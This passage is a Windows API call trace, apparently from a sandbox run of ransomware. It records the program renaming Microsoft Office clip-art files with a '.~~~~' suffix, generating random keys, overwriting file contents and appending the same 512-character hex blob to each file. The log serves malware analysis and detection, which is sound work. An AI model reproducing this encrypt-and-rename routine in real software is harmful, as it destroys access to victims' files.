	[0126.108] CloseHandle (hObject=0x130) returned 1
	[0126.108] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ba7a8
	[0126.108] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18211_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18211_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18211_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18211_.wmf.~~~~")) returned 1
	[0126.109] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ba7a8 | out: hHeap=0x300000) returned 1
	[0126.110] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0126.110] GetLastError () returned 0x0
	[0126.110] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0126.111] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0126.111] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0126.112] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0126.112] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0126.112] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0126.112] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24610184475) returned 1
	[0126.112] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb4a10eb0, dwHighDateTime=0x1d60e1e)) 
	[0126.112] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0126.112] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0126.112] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0126.112] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28217b8
	[0126.112] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0126.112] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28217b8 | out: hHeap=0x300000) returned 1
	[0126.112] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0126.112] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0126.112] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3bac40
	[0126.112] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0126.112] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0126.113] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bac40 | out: hHeap=0x300000) returned 1
	[0126.113] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0126.113] GetLastError () returned 0x0
	[0126.113] GetLastError () returned 0x0
	[0126.113] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0126.113] GetLastError () returned 0x0
	[0126.113] GetLastError () returned 0x0
	[0126.116] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xffffc2a4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0126.116] WriteFile (in: hFile=0x130, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x3d5c, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x1f8fec0*=0x3d5c, lpOverlapped=0x0) returned 1
	[0126.119] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0126.119] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0126.119] WriteFile (in: hFile=0x130, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0126.119] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0126.119] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0126.119] CloseHandle (hObject=0x130) returned 1
	[0126.119] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3bac40
	[0126.119] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18212_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18212_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18212_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18212_.wmf.~~~~")) returned 1
	[0126.121] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bac40 | out: hHeap=0x300000) returned 1
	[0126.121] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0126.121] GetLastError () returned 0x0
	[0126.124] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0126.125] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0126.125] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0126.125] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0126.126] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0126.126] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0126.126] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24611579943) returned 1
	[0126.126] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb4a37010, dwHighDateTime=0x1d60e1e)) 
	[0126.126] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0126.126] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0126.126] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0126.126] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28217f0
	[0126.126] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0126.126] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28217f0 | out: hHeap=0x300000) returned 1
	[0126.126] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0126.126] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0126.126] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3baa48
	[0126.126] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0126.126] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0126.126] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3baa48 | out: hHeap=0x300000) returned 1
	[0126.126] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0126.127] GetLastError () returned 0x0
	[0126.127] GetLastError () returned 0x0
	[0126.127] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0126.127] GetLastError () returned 0x0
	[0126.127] GetLastError () returned 0x0
	[0126.171] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xfffff8fc, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0126.172] WriteFile (in: hFile=0x130, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x704, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x1f8fec0*=0x704, lpOverlapped=0x0) returned 1
	[0126.173] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0126.177] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0126.177] WriteFile (in: hFile=0x130, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0126.177] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0126.177] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0126.177] CloseHandle (hObject=0x130) returned 1
	[0126.180] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3bad90
	[0126.180] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18213_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18213_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18213_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18213_.wmf.~~~~")) returned 1
	[0126.182] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bad90 | out: hHeap=0x300000) returned 1
	[0126.182] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0126.182] GetLastError () returned 0x0
	[0126.183] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0126.184] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0126.184] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0126.185] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0126.185] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0126.185] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0126.185] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24617489953) returned 1
	[0126.185] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb4acf590, dwHighDateTime=0x1d60e1e)) 
	[0126.185] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0126.185] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0126.185] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0126.185] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280bac0
	[0126.185] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0126.185] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bac0 | out: hHeap=0x300000) returned 1
	[0126.185] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0126.185] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0126.185] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ba700
	[0126.186] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0126.186] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0126.186] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ba700 | out: hHeap=0x300000) returned 1
	[0126.186] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0126.186] GetLastError () returned 0x0
	[0126.186] GetLastError () returned 0x0
	[0126.186] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0126.186] GetLastError () returned 0x0
	[0126.186] GetLastError () returned 0x0
	[0126.190] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffedee, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0126.190] WriteFile (in: hFile=0x128, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0x1212, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x1f8fec0*=0x1212, lpOverlapped=0x0) returned 1
	[0126.193] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0126.193] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0126.193] WriteFile (in: hFile=0x128, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0126.193] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0126.193] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0126.193] CloseHandle (hObject=0x128) returned 1
	[0126.193] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ba700
	[0126.194] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18218_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18218_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18218_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18218_.wmf.~~~~")) returned 1
	[0126.195] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ba700 | out: hHeap=0x300000) returned 1
	[0126.195] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0126.195] GetLastError () returned 0x0
	[0126.195] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0126.196] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0126.197] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0126.197] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0126.197] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0126.197] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0126.197] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24618715184) returned 1
	[0126.197] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb4af56f0, dwHighDateTime=0x1d60e1e)) 
	[0126.197] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0126.197] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0126.197] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0126.197] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280baf8
	[0126.197] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0126.197] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280baf8 | out: hHeap=0x300000) returned 1
	[0126.197] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0126.198] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0126.198] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3bbf48
	[0126.198] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0126.198] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0126.198] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bbf48 | out: hHeap=0x300000) returned 1
	[0126.198] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0126.198] GetLastError () returned 0x0
	[0126.198] GetLastError () returned 0x0
	[0126.198] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0126.198] GetLastError () returned 0x0
	[0126.198] GetLastError () returned 0x0
	[0126.201] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffeeca, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0126.201] WriteFile (in: hFile=0x128, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0x1136, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x1f8fec0*=0x1136, lpOverlapped=0x0) returned 1
	[0126.202] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0126.202] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0126.203] WriteFile (in: hFile=0x128, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0126.203] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0126.203] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0126.203] CloseHandle (hObject=0x128) returned 1
	[0126.203] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ba700
	[0126.203] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18219_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18219_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18219_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18219_.wmf.~~~~")) returned 1
	[0126.204] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ba700 | out: hHeap=0x300000) returned 1
	[0126.204] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0126.204] GetLastError () returned 0x0
	[0126.205] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0126.206] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0126.206] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0126.206] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0126.206] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0126.206] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0126.206] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24619662616) returned 1
	[0126.207] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb4af56f0, dwHighDateTime=0x1d60e1e)) 
	[0126.207] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0126.207] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0126.207] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0126.207] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280bb30
	[0126.207] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0126.207] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bb30 | out: hHeap=0x300000) returned 1
	[0126.207] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0126.207] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0126.207] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3bae38
	[0126.207] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0126.207] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0126.207] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bae38 | out: hHeap=0x300000) returned 1
	[0126.207] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0126.208] GetLastError () returned 0x0
	[0126.208] GetLastError () returned 0x0
	[0126.208] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0126.208] GetLastError () returned 0x0
	[0126.208] GetLastError () returned 0x0
	[0126.215] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffdec4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0126.215] WriteFile (in: hFile=0x128, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0x213c, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x1f8fec0*=0x213c, lpOverlapped=0x0) returned 1
	[0126.216] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0126.216] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0126.217] WriteFile (in: hFile=0x128, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
